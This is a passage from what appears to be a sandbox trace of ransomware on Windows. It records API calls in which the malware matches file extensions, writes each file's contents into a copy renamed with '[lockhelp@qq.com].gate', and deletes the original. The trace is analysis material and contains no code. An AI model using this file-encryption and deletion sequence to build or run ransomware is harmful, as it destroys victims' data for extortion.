(lpString1=".jpg", lpString2=".log") returned -1 [0110.094] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0110.094] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0110.094] lstrlenW (lpString=".doc") returned 4 [0110.094] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0110.094] lstrlenW (lpString=".docx") returned 5 [0110.094] lstrcmpiW (lpString1=".docx", lpString2="6.log") returned -1 [0110.094] lstrlenW (lpString=".pdf") returned 4 [0110.094] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1 [0110.094] lstrlenW (lpString=".xls") returned 4 [0110.094] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1 [0110.094] lstrlenW (lpString=".xlsx") returned 5 [0110.094] lstrcmpiW (lpString1=".xlsx", lpString2="6.log") returned -1 [0110.094] lstrlenW (lpString=".ppt") returned 4 [0110.094] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1 [0110.094] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0110.094] lstrlenW (lpString=".zip") returned 4 [0110.094] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1 [0110.094] lstrlenW (lpString=".rar") returned 4 [0110.094] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1 [0110.094] lstrlenW (lpString=".bz2") returned 4 [0110.094] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0110.094] lstrlenW (lpString=".7z") returned 3 [0110.094] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0110.094] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0110.095] lstrlenW (lpString=".dbf") returned 4 [0110.095] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0110.095] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0110.095] lstrlenW (lpString=".1cd") returned 4 [0110.095] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0110.095] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0110.095] lstrlenW (lpString=".jpg") returned 4 [0110.095] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0110.095] Sleep (dwMilliseconds=0x64) [0111.176] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0111.176] lstrlenW (lpString="LocalizedData.xml") returned 17 [0111.176] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0111.287] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=82346) returned 1 [0111.287] CloseHandle (hObject=0x320) returned 1 [0111.287] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml")) returned 0x80 [0111.288] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0111.288] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0111.288] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0111.288] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0111.288] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0111.288] GetLastError () returned 0x0 [0111.288] ReadFile (in: hFile=0x320, lpBuffer=0x4135020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesRead=0x376fecc*=0x141aa, lpOverlapped=0x0) returned 1 [0111.398] WriteFile (in: hFile=0x2c0, lpBuffer=0x4135020*, nNumberOfBytesToWrite=0x141b0, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesWritten=0x376fc94*=0x141b0, lpOverlapped=0x0) returned 1 [0111.400] ReadFile (in: hFile=0x320, lpBuffer=0x4135020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesRead=0x376fecc*=0x0, lpOverlapped=0x0) returned 1 [0111.400] WriteFile (in: hFile=0x2c0, lpBuffer=0x4135020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesWritten=0x376fc94*=0xf6, lpOverlapped=0x0) returned 1 [0111.400] SetEndOfFile (hFile=0x2c0) returned 1 [0111.400] CloseHandle (hObject=0x2c0) returned 1 [0111.403] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0111.403] SetEndOfFile (hFile=0x320) returned 1 [0111.404] CloseHandle (hObject=0x320) returned 1 [0111.405] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0111.421] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml")) returned 1 [0111.421] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0111.421] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0111.421] lstrlenW (lpString=".doc") returned 4 [0111.421] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0111.421] lstrlenW (lpString=".docx") returned 5 [0111.421] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0111.421] lstrlenW (lpString=".pdf") returned 4 [0111.421] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0111.421] lstrlenW (lpString=".xls") returned 4 [0111.421] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0111.421] lstrlenW (lpString=".xlsx") returned 5 [0111.421] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0111.421] lstrlenW (lpString=".ppt") returned 4 [0111.421] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0111.421] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0111.421] lstrlenW (lpString=".zip") returned 4 [0111.422] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0111.422] lstrlenW (lpString=".rar") returned 4 [0111.422] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0111.422] lstrlenW (lpString=".bz2") returned 4 [0111.422] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0111.422] lstrlenW (lpString=".7z") returned 3 [0111.422] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0111.422] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0111.422] lstrlenW (lpString=".dbf") returned 4 [0111.422] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0111.422] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0111.422] lstrlenW (lpString=".1cd") returned 4 [0111.422] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0111.422] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0111.422] lstrlenW (lpString=".jpg") returned 4 [0111.422] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0111.422] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0111.422] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0111.422] lstrlenW (lpString=".doc") returned 4 [0111.422] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0111.422] lstrlenW (lpString=".docx") returned 5 [0111.422] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0111.422] lstrlenW (lpString=".pdf") returned 4 [0111.422] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0111.422] lstrlenW (lpString=".xls") returned 4 [0111.422] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0111.422] lstrlenW (lpString=".xlsx") returned 5 [0111.422] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0111.422] lstrlenW (lpString=".ppt") returned 4 [0111.422] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0111.422] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0111.423] lstrlenW (lpString=".zip") returned 4 [0111.423] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0111.423] lstrlenW (lpString=".rar") returned 4 [0111.423] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0111.423] lstrlenW (lpString=".bz2") returned 4 [0111.423] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0111.423] lstrlenW (lpString=".7z") returned 3 [0111.423] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0111.423] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0111.423] lstrlenW (lpString=".dbf") returned 4 [0111.423] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0111.423] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0111.423] lstrlenW (lpString=".1cd") returned 4 [0111.423] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0111.423] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0111.423] lstrlenW (lpString=".jpg") returned 4 [0111.423] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0111.423] lstrcmpiW (lpString1=".rtf", lpString2=".gate") returned 1 [0111.423] lstrlenW (lpString="eula.rtf") returned 8 [0111.423] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0111.558] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=3702) returned 1 [0111.558] CloseHandle (hObject=0x320) returned 1 [0111.558] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf")) returned 0x80 [0111.559] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0111.559] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0111.559] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0111.559] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0111.559] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0111.559] GetLastError () returned 0x0 [0111.559] ReadFile (in: hFile=0x320, lpBuffer=0x4135020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesRead=0x376fecc*=0xe76, lpOverlapped=0x0) returned 1 [0111.673] WriteFile (in: hFile=0x2c0, lpBuffer=0x4135020*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesWritten=0x376fc94*=0xe80, lpOverlapped=0x0) returned 1 [0111.674] ReadFile (in: hFile=0x320, lpBuffer=0x4135020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesRead=0x376fecc*=0x0, lpOverlapped=0x0) returned 1 [0111.674] WriteFile (in: hFile=0x2c0, lpBuffer=0x4135020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesWritten=0x376fc94*=0xe4, lpOverlapped=0x0) returned 1 [0111.675] SetEndOfFile (hFile=0x2c0) returned 1 [0111.675] CloseHandle (hObject=0x2c0) returned 1 [0111.676] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0111.676] SetEndOfFile (hFile=0x320) returned 1 [0111.677] CloseHandle (hObject=0x320) returned 1 [0111.677] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0111.678] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf")) returned 1 [0111.678] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0111.678] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0111.678] lstrlenW (lpString=".doc") returned 4 [0111.678] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0111.678] lstrlenW (lpString=".docx") returned 5 [0111.678] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0111.678] lstrlenW (lpString=".pdf") returned 4 [0111.678] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0111.678] lstrlenW (lpString=".xls") returned 4 [0111.679] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0111.679] lstrlenW (lpString=".xlsx") returned 5 [0111.679] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0111.679] lstrlenW (lpString=".ppt") returned 4 [0111.679] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0111.679] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0111.679] lstrlenW (lpString=".zip") returned 4 [0111.679] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0111.679] lstrlenW (lpString=".rar") returned 4 [0111.679] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0111.679] lstrlenW (lpString=".bz2") returned 4 [0111.679] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0111.679] lstrlenW (lpString=".7z") returned 3 [0111.679] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0111.679] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0111.679] lstrlenW (lpString=".dbf") returned 4 [0111.679] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0111.679] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0111.679] lstrlenW (lpString=".1cd") returned 4 [0111.679] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0111.679] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0111.679] lstrlenW (lpString=".jpg") returned 4 [0111.679] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0111.679] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0111.679] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0111.680] lstrlenW (lpString=".doc") returned 4 [0111.680] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0111.680] lstrlenW (lpString=".docx") returned 5 [0111.680] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0111.680] lstrlenW (lpString=".pdf") returned 4 [0111.680] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0111.680] lstrlenW (lpString=".xls") returned 4 [0111.680] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0111.680] lstrlenW (lpString=".xlsx") returned 5 [0111.680] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0111.680] lstrlenW (lpString=".ppt") returned 4 [0111.680] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0111.680] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0111.680] lstrlenW (lpString=".zip") returned 4 [0111.680] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0111.680] lstrlenW (lpString=".rar") returned 4 [0111.680] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0111.680] lstrlenW (lpString=".bz2") returned 4 [0111.680] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0111.680] lstrlenW (lpString=".7z") returned 3 [0111.680] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0111.680] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0111.680] lstrlenW (lpString=".dbf") returned 4 [0111.680] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0111.681] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0111.681] lstrlenW (lpString=".1cd") returned 4 [0111.681] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0111.681] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0111.681] lstrlenW (lpString=".jpg") returned 4 [0111.682] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0111.683] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0111.683] lstrlenW (lpString="LocalizedData.xml") returned 17 [0111.683] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0111.683] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=77022) returned 1 [0111.683] CloseHandle (hObject=0x320) returned 1 [0111.683] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml")) returned 0x80 [0111.683] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0111.684] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0111.684] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0111.684] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0111.684] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0111.684] GetLastError () returned 0x0 [0111.684] ReadFile (in: hFile=0x320, lpBuffer=0x4135020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesRead=0x376fecc*=0x12cde, lpOverlapped=0x0) returned 1 [0111.793] WriteFile (in: hFile=0x2c0, lpBuffer=0x4135020*, nNumberOfBytesToWrite=0x12ce0, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesWritten=0x376fc94*=0x12ce0, lpOverlapped=0x0) returned 1 [0111.795] ReadFile (in: hFile=0x320, lpBuffer=0x4135020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesRead=0x376fecc*=0x0, lpOverlapped=0x0) returned 1 [0111.795] WriteFile (in: hFile=0x2c0, lpBuffer=0x4135020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesWritten=0x376fc94*=0xf6, lpOverlapped=0x0) returned 1 [0111.795] SetEndOfFile (hFile=0x2c0) returned 1 [0111.796] CloseHandle (hObject=0x2c0) returned 1 [0111.797] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0111.797] SetEndOfFile (hFile=0x320) returned 1 [0111.798] CloseHandle (hObject=0x320) returned 1 [0111.798] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0111.799] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml")) returned 1 [0111.799] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0111.799] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0111.799] lstrlenW (lpString=".doc") returned 4 [0111.799] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0111.799] lstrlenW (lpString=".docx") returned 5 [0111.799] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0111.799] lstrlenW (lpString=".pdf") returned 4 [0111.799] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0111.799] lstrlenW (lpString=".xls") returned 4 [0111.799] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0111.799] lstrlenW (lpString=".xlsx") returned 5 [0111.799] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0111.799] lstrlenW (lpString=".ppt") returned 4 [0111.799] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0111.799] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0111.799] lstrlenW (lpString=".zip") returned 4 [0111.800] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0111.800] lstrlenW (lpString=".rar") returned 4 [0111.800] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0111.800] lstrlenW (lpString=".bz2") returned 4 [0111.800] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0111.800] lstrlenW (lpString=".7z") returned 3 [0111.800] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0111.800] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0111.800] lstrlenW (lpString=".dbf") returned 4 [0111.800] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0111.800] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0111.800] lstrlenW (lpString=".1cd") returned 4 [0111.800] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0111.800] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0111.800] lstrlenW (lpString=".jpg") returned 4 [0111.800] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0111.800] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0111.800] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0111.800] lstrlenW (lpString=".doc") returned 4 [0111.800] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0111.800] lstrlenW (lpString=".docx") returned 5 [0111.800] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0111.800] lstrlenW (lpString=".pdf") returned 4 [0111.800] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0111.800] lstrlenW (lpString=".xls") returned 4 [0111.800] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0111.800] lstrlenW (lpString=".xlsx") returned 5 [0111.800] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0111.800] lstrlenW (lpString=".ppt") returned 4 [0111.800] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0111.800] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0111.801] lstrlenW (lpString=".zip") returned 4 [0111.801] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0111.801] lstrlenW (lpString=".rar") returned 4 [0111.801] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0111.801] lstrlenW (lpString=".bz2") returned 4 [0111.801] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0111.801] lstrlenW (lpString=".7z") returned 3 [0111.801] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0111.801] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0111.801] lstrlenW (lpString=".dbf") returned 4 [0111.801] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0111.801] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0111.801] lstrlenW (lpString=".1cd") returned 4 [0111.801] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0111.801] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0111.801] lstrlenW (lpString=".jpg") returned 4 [0111.801] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0111.801] lstrcmpiW (lpString1=".rtf", lpString2=".gate") returned 1 [0111.801] lstrlenW (lpString="eula.rtf") returned 8 [0111.801] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0111.801] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=3526) returned 1 [0111.801] CloseHandle (hObject=0x320) returned 1 [0111.802] 